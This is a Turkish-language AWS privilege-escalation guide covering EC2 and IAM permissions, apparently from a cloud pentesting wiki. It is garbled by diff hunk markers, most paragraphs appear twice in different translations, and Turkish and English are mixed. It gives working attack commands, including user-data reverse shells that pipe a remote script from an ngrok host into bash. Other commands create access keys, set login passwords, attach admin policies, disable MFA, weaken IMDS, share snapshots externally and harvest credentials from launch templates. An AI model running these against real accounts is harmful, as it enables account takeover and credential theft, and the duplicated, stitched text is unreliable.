### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan, ele geçirilmiş bir instance'ın IAM rolünü değiştirebilir ve yeni kimlik bilgilerini çalabilir.
Bir instance profile yalnızca 1 role sahip olabildiği için, instance profile zaten bir role sahipse (yaygın durum), ayrıca `iam:RemoveRoleFromInstanceProfile` iznine de ihtiyacınız olacaktır.
Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan **ele geçirilmiş bir instance'ın IAM rolünü değiştirebilir** ve böylece yeni kimlik bilgilerini çalabilir.\
Bir instance profile yalnızca 1 role sahip olabildiği için, instance profile **zaten bir role sahipse** (yaygın durum), ayrıca **`iam:RemoveRoleFromInstanceProfile`** iznine de ihtiyacınız olacaktır.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,33 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Eğer **instance profile bir role sahipse** ve saldırgan **onu kaldıramıyorsa**, başka bir çözüm yolu vardır. Saldırgan, **bulabilir** bir **role olmayan instance profile** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), o **instance profile**'a **role** ekleyebilir (daha önce tartışıldığı gibi) ve ele geçirilen **instance profile**'ı ele geçirilmiş i**nstance:** ile **ilişkilendirebilir**.
Eğer **instance profile has a role** ve **attacker cannot remove it** ise, başka bir çözüm yolu vardır. Saldırgan, **find** bir **instance profile without a role** bulabilir veya **create a new one** (`iam:CreateInstanceProfile`), o **role**'ü daha önce tartışıldığı gibi o **instance profile**'a **add** edebilir ve ele geçirilmiş **instance profile**'ı ele geçirilmiş i**nstance:** ile **associate the instance profile** edebilir:
- Eğer **instance'ın hiçbir instance** profile'ı yoksa (`ec2:AssociateIamInstanceProfile`)
- Eğer instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potansiyel Etki:** Doğrudan privesc ile farklı bir EC2 role (AWS EC2 instance'ını ele geçirmiş olmanız ve ek izin veya belirli bir instance profile durumu gerekir).
**Potential Impact:** Farklı bir EC2 role doğrudan privesc (bir AWS EC2 instance'ını ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Bu izinlerle, bir instance'a ilişkilendirilmiş olan instance profile'ı değiştirmek mümkündür; dolayısıyla saldırgan zaten bir instance'a erişim sağlamışsa, ona ilişkilendirilmiş olan instance profile'ı değiştirerek daha fazla instance profile role ait kimlik bilgilerini çalabilecektir.
Bu izinlerle, bir instance'a ilişkilendirilmiş instance profile'ı değiştirmek mümkündür; bu nedenle saldırgan zaten bir instance'a erişim sağlamışsa, ilişkilendirilen profile'ı değiştirerek daha fazla instance profile rolü için kimlik bilgilerini çalabilir.
- Eğer **instance profile**'ı varsa, instance profile'ı **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve onu **ilişkilendirebilirsiniz**
- Eğer **instance'ın bir instance profile'ı varsa**, instance profile'ı **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **yeniden ilişkilendirebilir**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- veya ele geçirilmiş instance'ın **instance profile**'ını **değiştir** (`ec2:ReplaceIamInstanceProfileAssociation`).
- veya ele geçirilmiş instance'ın **instance profile**'ını **değiştirebilir** (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potansiyel Etki:** Farklı bir EC2 role doğrudan privesc (AWS EC2 instance'ını ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir).
**Olası Etki:** Doğrudan farklı bir EC2 role privesc (AWS EC2 instance'ını ele geçirmeniz ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Bu izinlere sahip bir saldırgan **`ec2:RequestSpotInstances`and`iam:PassRole`** ile **Spot Instance** talep edebilir ve **user data** içine **rev shell** barındıran, **EC2 Role attached** bir instance oluşturabilir.\ Instance çalıştığında, **IAM role'ü çalabilir**.
Bu izinlere sahip bir saldırgan **`ec2:RequestSpotInstances`and`iam:PassRole`** **Spot Instance**'ı **EC2 Role attached** ve **user data** içinde bir **rev shell** olacak şekilde **isteyebilir**.\ Instance çalıştırıldıktan sonra **IAM role**'ü çalabilir.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -118,9 +118,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Bir saldırgan, **`ec2:ModifyInstanceAttribute`** iznine sahipse, instance'ın özelliklerini değiştirebilir. Bunların arasında **user data'ını değiştirebilme** yetkisi de vardır; bu da instance'ın **herhangi bir veriyi çalıştırmasını** sağlar. Bu, EC2 instance'a **rev shell** elde etmek için kullanılabilir.
Bir saldırgan **`ec2:ModifyInstanceAttribute`** iznine sahipse instance'ın özniteliklerini değiştirebilir. Bunların arasında **user data'yı değiştirmek** de vardır; bu da instance'ın **herhangi bir veriyi çalıştırmasını** sağlar. Bu, **EC2 instance'a rev shell** elde etmek için kullanılabilir.
Özelliklerin yalnızca **instance durdurulurken** değiştirilebileceğini unutmayın; bu yüzden **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir.
Özniteliklerin yalnızca **instance durdurulurken değiştirilebileceğini** unutmayın; bu yüzden **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -157,11 +157,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potansiyel Etki:** Oluşturulan bir instance'a atanmış herhangi bir EC2 IAM Role'a doğrudan privesc.
**Potansiyel Etki:** Oluşturulan bir instance'a bağlı herhangi bir EC2 IAM Role'a doğrudan privesc.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Bu izinlere sahip bir saldırgan **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** bir **new Launch Template version** oluşturabilir, **rev shell in** **user data** içine bir rev shell yerleştirip üzerine **any EC2 IAM Role on it** atayabilir, varsayılan sürümü değiştirebilir ve bu **any Autoscaler group** **using** that **Launch Templat**e'ın **configured** olduğu durumda, **latest** veya **default version** kullanacak şekilde ayarlanmışsa, o şablonu kullanarak **re-run the instances** gerçekleştirecek ve rev shell'i çalıştıracaktır.
Bu izinlere (**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`**) sahip bir saldırgan, **yeni Launch Template versiyonu** oluşturup **user data** içine bir **rev shell** ve üzerine herhangi bir **EC2 IAM Role** ekleyebilir, varsayılan sürümü değiştirebilir; ve bu **Launch Template**'i kullanan herhangi bir **Autoscaler group**, **latest** veya **default version** kullanacak şekilde yapılandırılmışsa, o template'i kullanarak instance'ları yeniden başlatır ve rev shell'i çalıştırır.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -175,11 +175,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc.
**Potential Impact:** Doğrudan farklı bir EC2 role'a privesc.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Bir saldırgan, **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip olduğunda **bir Launch Configuration oluşturabilir**, bu yapılandırmada bir **IAM Role** ve **rev shell**'i **user data** içinde yerleştirip, ardından bu konfigürasyondan bir **autoscaling group** oluşturabilir ve rev shell'in **IAM Role**'ü çalmasını bekleyebilir.
Bir saldırgan, **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip olduğunda, bir **Launch Configuration** oluşturup içine bir **IAM Role** ile bir **rev shell**'i **user data** olarak yerleştirebilir; ardından bu konfigürasyondan bir **autoscaling group** oluşturup rev shell'in **IAM Role**'ü çalmasını bekleyebilir.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -195,28 +195,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc.
**Olası Etki:** Doğrudan privesc başka bir EC2 rolüne.
### `!autoscaling`
İzinler kümesi **`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** IAM rolüne privesc yapmak için **yeterli değildir** çünkü Launch Configuration veya Launch Template içinde belirtilen rolü ilişkilendirmek için **`iam:PassRole`** ve **`ec2:RunInstances`** izinlerine ihtiyaç vardır (bu bilinen bir privesc'tir).
İzinler kümesi **`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** bir IAM rolüne ayrıcalık yükseltmesi yapmak için yeterli değildir çünkü Launch Configuration veya Launch Template içinde belirtilen rolü ilişkilendirmek için **`iam:PassRole` ve `ec2:RunInstances`** izinlerine ihtiyaç vardır (bu bilinen bir privesc'tir).
### `ec2-instance-connect:SendSSHPublicKey`
**`ec2-instance-connect:SendSSHPublicKey`** iznine sahip bir saldırgan, bir kullanıcıya bir SSH public anahtarı ekleyebilir ve (instance'a SSH erişimi varsa) bununla erişim sağlayabilir veya privesc yapabilir.
Bir saldırgan **`ec2-instance-connect:SendSSHPublicKey`** iznine sahipse bir kullanıcıya ssh anahtarı ekleyebilir ve (eğer instance'a ssh erişimi varsa) bunu kullanarak erişim sağlayabilir veya ayrıcalıkları yükseltebilir.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potansiyel Etki:** Çalışan instance'lara bağlı EC2 IAM rollere doğrudan privesc.
**Olası Etki:** Çalışan instance'lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Bu izne sahip bir saldırgan **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** bir seri bağlantıya **ssh anahtarı ekleyebilir**. Seri etkin değilse, saldırganın **`ec2:EnableSerialConsoleAccess` ile bunu etkinleştirmek için izne ihtiyacı vardır**.
Bu izne sahip bir saldırgan **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** bir seri bağlantıya **ssh anahtarı ekleyebilir**. Seri etkin değilse, saldırganın **`ec2:EnableSerialConsoleAccess` bunu etkinleştirmek için** iznine ihtiyacı vardır.
Seri porta bağlanmak için ayrıca makine içindeki bir kullanıcının **kullanıcı adını ve şifresini bilmeniz gerekir**.
Seri porta bağlanmak için ayrıca **makinedeki bir kullanıcının kullanıcı adını ve parolasını bilmeniz gerekir**.
```bash
aws ec2 enable-serial-console-access
@@ -228,13 +228,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Bu yöntem privesc için pek kullanışlı değil çünkü istismar etmek için bir kullanıcı adı ve parola bilmeniz gerekiyor.
Bu yöntem privesc için pek kullanışlı değil çünkü istismar etmek için bir kullanıcı adı ve parola bilmeniz gerekir.
**Potential Impact:** (Oldukça kanıtlanamaz) Çalışan instance'lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc.
**Potential Impact:** (Çok kanıtlanamaz) Çalışan instances'lara bağlı EC2 IAM rollerine doğrudan privesc.
### `describe-launch-templates`,`describe-launch-template-versions`
Launch templates sürümlendirme özelliğine sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan bunları user data içinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için istismar edebilir. Bunu başarmak için, aşağıdaki script mevcut launch template'lerin tüm sürümleri üzerinde döner:
Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -247,29 +247,24 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
Yukarıdaki komutlarda belirli desenleri (`aws_|password|token|api`) belirtiyor olsak da, diğer tür hassas bilgileri aramak için farklı bir regex kullanabilirsiniz.
Yukarıdaki komutlarda belirli desenleri (`aws_|password|token|api`) belirtmiş olsak da, diğer tür hassas bilgileri aramak için farklı bir regex kullanabilirsiniz.
Eğer `aws_access_key_id` ve `aws_secret_access_key` bulduğumuzu varsayarsak, bu kimlik bilgilerini AWS'e kimlik doğrulama yapmak için kullanabiliriz.
`aws_access_key_id` ve `aws_secret_access_key` bulduğumuzu varsayarsak, bu kimlik bilgilerini AWS'ye kimlik doğrulama yapmak için kullanabiliriz.
**Potential Impact:** IAM user(s) üzerinde doğrudan ayrıcalık yükseltme.
**Potansiyel Etki:** IAM kullanıcılarına doğrudan ayrıcalık yükseltilmesi.
## Referanslar
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
### `ec2:ModifyInstanceMetadataOptions` (IMDS'i düşürerek SSRF ile kimlik bilgisi hırsızlığına olanak sağlama)
Bir saldırgan, kurban EC2 instance'ı üzerinde `ec2:ModifyInstanceMetadataOptions` çağırma yeteneğine sahipse, IMDS korumalarını IMDSv1'i etkinleştirerek (`HttpTokens=optional`) ve `HttpPutResponseHopLimit` değerini artırarak zayıflatabilir. Bu, instance üzerinde çalışan uygulamalardan gelen yaygın SSRF/proxy yolları ile instance metadata uç noktasının erişilebilir olmasını sağlar. Eğer saldırgan böyle bir uygulamada SSRF tetikleyebilirse, instance profile kimlik bilgilerini alıp bunlarla pivot yapabilir.
Bir saldırgan, hedef bir EC2 instance'ında `ec2:ModifyInstanceMetadataOptions` çağırma yeteneğine sahipse, IMDS korumalarını IMDSv1'i etkinleştirerek (`HttpTokens=optional`) ve `HttpPutResponseHopLimit` değerini artırarak zayıflatabilir. Bu, instance üzerinde çalışan uygulamaların yaygın SSRF/proxy yolları aracılığıyla instance metadata uç noktasına erişilebilmesini sağlar. Eğer saldırgan böyle bir uygulamada SSRF tetikleyebilirse, instance profile kimlik bilgilerini alıp bunlarla pivot yapabilir.
- Gerekli izinler: Hedef EC2 instance'ı üzerinde `ec2:ModifyInstanceMetadataOptions` (artı host üzerinde bir SSRF'e erişme/tetikleme yeteneği).
- Hedef kaynak: attached instance profile (IAM role) ile çalışan EC2 instance'ı.
- Gerekli izinler: Hedef instance üzerinde `ec2:ModifyInstanceMetadataOptions` (artı host üzerinde SSRF'e erişme/tetikleme yeteneği).
- Hedef kaynak: Eklenmiş bir instance profile'a (IAM role) sahip çalışan EC2 instance'ı.
Komut örnekleri:
Komut örneği:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -296,11 +291,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Potansiyel Etki: SSRF yoluyla instance profil kimlik bilgilerinin çalınması; bu, EC2 rol izinleriyle ayrıcalık yükselmesi ve yatay hareketliliğe yol açar.
Olası Etki: SSRF yoluyla instance profile kimlik bilgilerinin çalınması; bu da EC2 rol izinleri ile ayrıcalık yükseltmeye ve yatay hareketliliğe yol açabilir.
### `ec2:ModifyInstanceMetadataOptions`
ec2:ModifyInstanceMetadataOptions iznine sahip bir saldırgan, Instance Metadata Service (IMDS) korumalarını zayıflatabilir — örneğin IMDSv1'i zorlayarak (HttpTokens gereksiz kılmak) veya HttpPutResponseHopLimit'i artırarak — böylece geçici kimlik bilgilerinin dışarı çıkarılmasını kolaylaştırır. En ilgili risk vektörü HttpPutResponseHopLimit'in yükseltilmesidir: bu hop limit (TTL) artırıldığında, 169.254.169.254 uç noktası VMin ağ ad alanıyla (network namespace) sıkı şekilde sınırlı olmaktan çıkar ve diğer süreçler/konteynerler tarafından erişilebilir hale gelerek kimlik bilgisi hırsızlığına imkan verir.
ec2:ModifyInstanceMetadataOptions iznine sahip bir saldırgan, Instance Metadata Service (IMDS) korumalarını zayıflatabilir — örneğin IMDSv1'i zorlayarak (HttpTokens gereksiz hale getirerek) veya HttpPutResponseHopLimit'i artırarak — bu da geçici kimlik bilgilerinin dışarı çıkarılmasını kolaylaştırır. En ilgili risk vektörü HttpPutResponseHopLimit'in artırılmasıdır: bu hop limitini (TTL) yükselterek, 169.254.169.254 uç noktası VM'in network namespace'i ile sıkı şekilde sınırlı olmaktan çıkar ve diğer süreçler/konteynerler tarafından erişilebilir hale gelebilir; bu da kimlik bilgisi hırsızlığına olanak verir.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
@@ -310,13 +305,13 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
ec2:ModifyImageAttribute ve ec2:ModifySnapshotAttribute izinlerine sahip bir saldırgan, AMIs veya snapshots'ı diğer AWS hesaplarıyla paylaşabilir (hatta herkese açık hale getirebilir); bu, yapılandırmalar, kimlik bilgileri, sertifikalar veya yedekler gibi hassas veriler içerebilecek images veya volumes'ların açığa çıkmasına neden olur. Bir AMI'nin launch permissions'ını veya bir snapshot'ın create-volume permissions'ını değiştirerek, saldırgan üçüncü tarafların bu kaynaklardan instances başlatmasına veya disks mount etmesine ve içeriklerine erişmesine izin verir.
ec2:ModifyImageAttribute ve ec2:ModifySnapshotAttribute izinlerine sahip bir saldırgan, AMIs veya snapshots'ı diğer AWS hesaplarıyla paylaşabilir (veya hatta herkese açık hale getirebilir); bu, yapılandırmalar, kimlik bilgileri, sertifikalar veya yedekler gibi hassas veriler içerebilecek images veya volumes'ların açığa çıkmasına neden olabilir. Bir AMI'nin launch permissions'ını veya bir snapshot'ın create-volume permissions'ını değiştirerek, saldırgan üçüncü tarafların bu kaynaklardan instances başlatmasına veya diskleri mount etmesine ve içeriklerine erişmesine izin verir.
Bir AMI'yi başka bir hesapla paylaşmak için:
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
Bir EBS snapshot'ını başka bir hesapla paylaşmak için:
EBS snapshot'ını başka bir hesapla paylaşmak için:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
@@ -12,38 +12,38 @@ IAM hakkında daha fazla bilgi için bakınız:
### **`iam:CreatePolicyVersion`**
Yeni bir IAM policy sürümü oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` iznine olan ihtiyacı atlatır. Bu, özel izinler tanımlamayı mümkün kılar.
Yeni bir IAM policy versiyonu oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izni gerekliliğini atlar. Bu, özel izinler tanımlamayı mümkün kılar.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impact:** Herhangi bir kaynak üzerinde her türlü eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir işlemi yapmaya izin vererek ayrıcalıkları doğrudan yükseltir.
### **`iam:SetDefaultPolicyVersion`**
IAM politikasının varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa potansiyel olarak ayrıcalıkları yükseltebilir.
Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa ayrıcalıkları artırabilir.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Etkisi:** Daha fazla izin verilmesine yol açarak dolaylı privilege escalation.
**Impact:** Dolaylı privilege escalation — daha fazla izin verilmesine olanak tanıyarak.
### **`iam:CreateAccessKey`**
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına olanak tanır; bu da potansiyel privilege escalation'e yol açar.
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu da potansiyel privilege escalation'a yol açabilir.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Etkisi:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan privilege escalation.
**Etkisi:** Doğrudan privilege escalation — başka bir kullanıcının genişletilmiş izinlerini üstlenerek.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
### `iam:CreateLoginProfile` | `iam:UpdateLoginProfile`
Bir login profili oluşturulmasına veya güncellenmesine izin verir; AWS konsoluna giriş için parolaların ayarlanmasını da içermek üzere, bu doğrudan privilege escalation ile sonuçlanır.
Bir oturum açma profili oluşturulmasına veya güncellenmesine izin verir; AWS console giriş parolası belirleme dahil olmak üzere, bu doğrudan privilege escalation ile sonuçlanır.
**Exploit for Creation:**
```bash
@@ -55,35 +55,35 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Etkisi:** Herhangi bir kullanıcı olarak oturum açılarak doğrudan ayrıcalık yükseltme.
**Etkisi:** Doğrudan ayrıcalık yükseltmesi — "any" kullanıcı olarak oturum açma yoluyla.
### **`iam:UpdateAccessKey`**
Devre dışı bırakılmış bir erişim anahtarını etkinleştirmeye izin verir; saldırgan devre dışı bırakılmış anahtara sahipse bu yetkisiz erişime yol açabilir.
Devre dışı bırakılmış bir access key'in etkinleştirilmesine izin verir; eğer saldırgan bu devre dışı bırakılmış anahtara sahipse, yetkisiz erişime yol açabilir.
**İstismar:**
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Etkisi:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan ayrıcalık yükseltme.
**Etkisi:** access keys'leri yeniden etkinleştirerek doğrudan ayrıcalık yükseltmesi.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Belirli AWS hizmetleri için (örn., CodeCommit, Amazon Keyspaces) kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar; ilişkili kullanıcının izinlerini devralır.
Belirli AWS hizmetleri (örn. CodeCommit, Amazon Keyspaces) için kimlik bilgileri oluşturma veya sıfırlama yeteneği sağlar; oluşturulan kimlik bilgileri ilişkili kullanıcının izinlerini devralır.
**Oluşturma için Exploit:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Reset için Exploit:**
**Sıfırlama için Exploit:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact:** Kullanıcının servis izinleri içinde doğrudan ayrıcalık yükseltme.
**Impact:** Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükseltmesi.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy'nin izinlerini devralarak doğrudan ayrıcalık yükseltmeye olanak sağlar.
Kullanıcılara veya gruplara policy eklemeye izin vererek, eklenen policy'nin izinlerini devralıp doğrudan ayrıcalıkları yükseltir.
**Exploit for User:**
```bash
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Etkisi:** Politikanın verdiği tüm izinlere doğrudan ayrıcalık yükseltmesi.
**Etkisi:** Politikanın verdiği her şeye doğrudan privilege escalation.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Rollere, kullanıcılara veya gruplara politikalar iliştirmeye veya eklemeye izin verir; ek izinler vererek doğrudan ayrıcalık yükseltmesine olanak tanır.
Rollere, kullanıcılara veya gruplara politika eklemeye veya atamaya izin verir; ek izinler vererek doğrudan privilege escalation sağlar.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Inline Policies için Exploit:**
**Exploit için Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Aşağıdaki gibi bir policy kullanabilirsiniz:
Aşağıdaki gibi bir politika kullanabilirsiniz:
```json
{
"Version": "2012-10-17",
@@ -127,21 +127,21 @@ Aşağıdaki gibi bir policy kullanabilirsiniz:
]
}
```
**Etkisi:** Politika(lar) aracılığıyla izinler ekleyerek doğrudan ayrıcalık yükseltmesi.
**Etkisi:** Politikalar aracılığıyla izinler ekleyerek doğrudan ayrıcalık yükseltme.
### **`iam:AddUserToGroup`**
Kullanıcının kendisini bir IAM grubuna eklemesine izin verir; grubun izinlerini devralarak ayrıcalıkları yükseltir.
Kendini bir IAM grubuna eklemeyi sağlar; grubun izinlerini devralarak ayrıcalıkları yükseltir.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impact:** Grubun izin seviyesine doğrudan ayrıcalık yükseltmesi.
**Etkisi:** Doğrudan ayrıcalık yükseltmesiyle grubun izin seviyesine erişim sağlar.
### **`iam:UpdateAssumeRolePolicy`**
Bir role ait assume role policy document'ını değiştirmeye izin verir; bu, role ve ilişkili izinlerinin üstlenilmesini mümkün kılar.
Bir role ait assume role policy document'ını değiştirmesine izin vererek, role ve ilişkili izinlerin assume edilmesini sağlar.
**Exploit:**
```bash
@@ -163,17 +163,17 @@ Politika aşağıdaki gibi olduğunda, bu kullanıcıya rolü üstlenme izni ver
]
}
```
**Etkisi:** Herhangi bir rolün izinlerini devralarak doğrudan ayrıcalık yükseltme.
**Etkisi:** Herhangi bir role ait izinleri devralarak doğrudan privilege escalation.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
CodeCommit'e kimlik doğrulama için bir SSH açık anahtarının yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin vererek potansiyel dolaylı ayrıcalık yükseltmesine yol açar.
SSH public key yükleyerek CodeCommit için kimlik doğrulaması yapmaya ve MFA cihazlarını devre dışı bırakmaya izin verir; bu da potansiyel dolaylı privilege escalation'a yol açabilir.
**Exploit for SSH Key Upload:**
**SSH Key Yükleme için Exploit:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit ile MFA devre dışı bırakma:**
**MFA devre dışı bırakılması için Exploit:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
@@ -181,20 +181,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
### **`iam:ResyncMFADevice`**
Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir.
Bir MFA cihazının yeniden senkronizasyonuna izin verir; bu, MFA korumasını manipüle ederek potansiyel olarak dolaylı ayrıcalık yükseltmesine yol açabilir.
**Bash Komutu:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Etkisi:** Dolaylı yetki yükseltmesi — MFA cihazları ekleyerek veya manipüle ederek.
**Etkisi:** MFA cihazlarını ekleyerek veya manipüle ederek dolaylı ayrıcalık yükseltme.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı suistimal ederek ona güvenen herhangi bir **role** ile **login** olabilirsiniz.
Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı kötüye kullanarak ona güvenen herhangi bir **role** ile **login** olabilirsiniz.
Not: Bunu yaptığınızda **meşru kullanıcılar login olamayacak**. Ancak XML'i alabilir, kendi XML'inizi koyup **login** olarak önceki durumu geri yapılandırabilirsiniz.
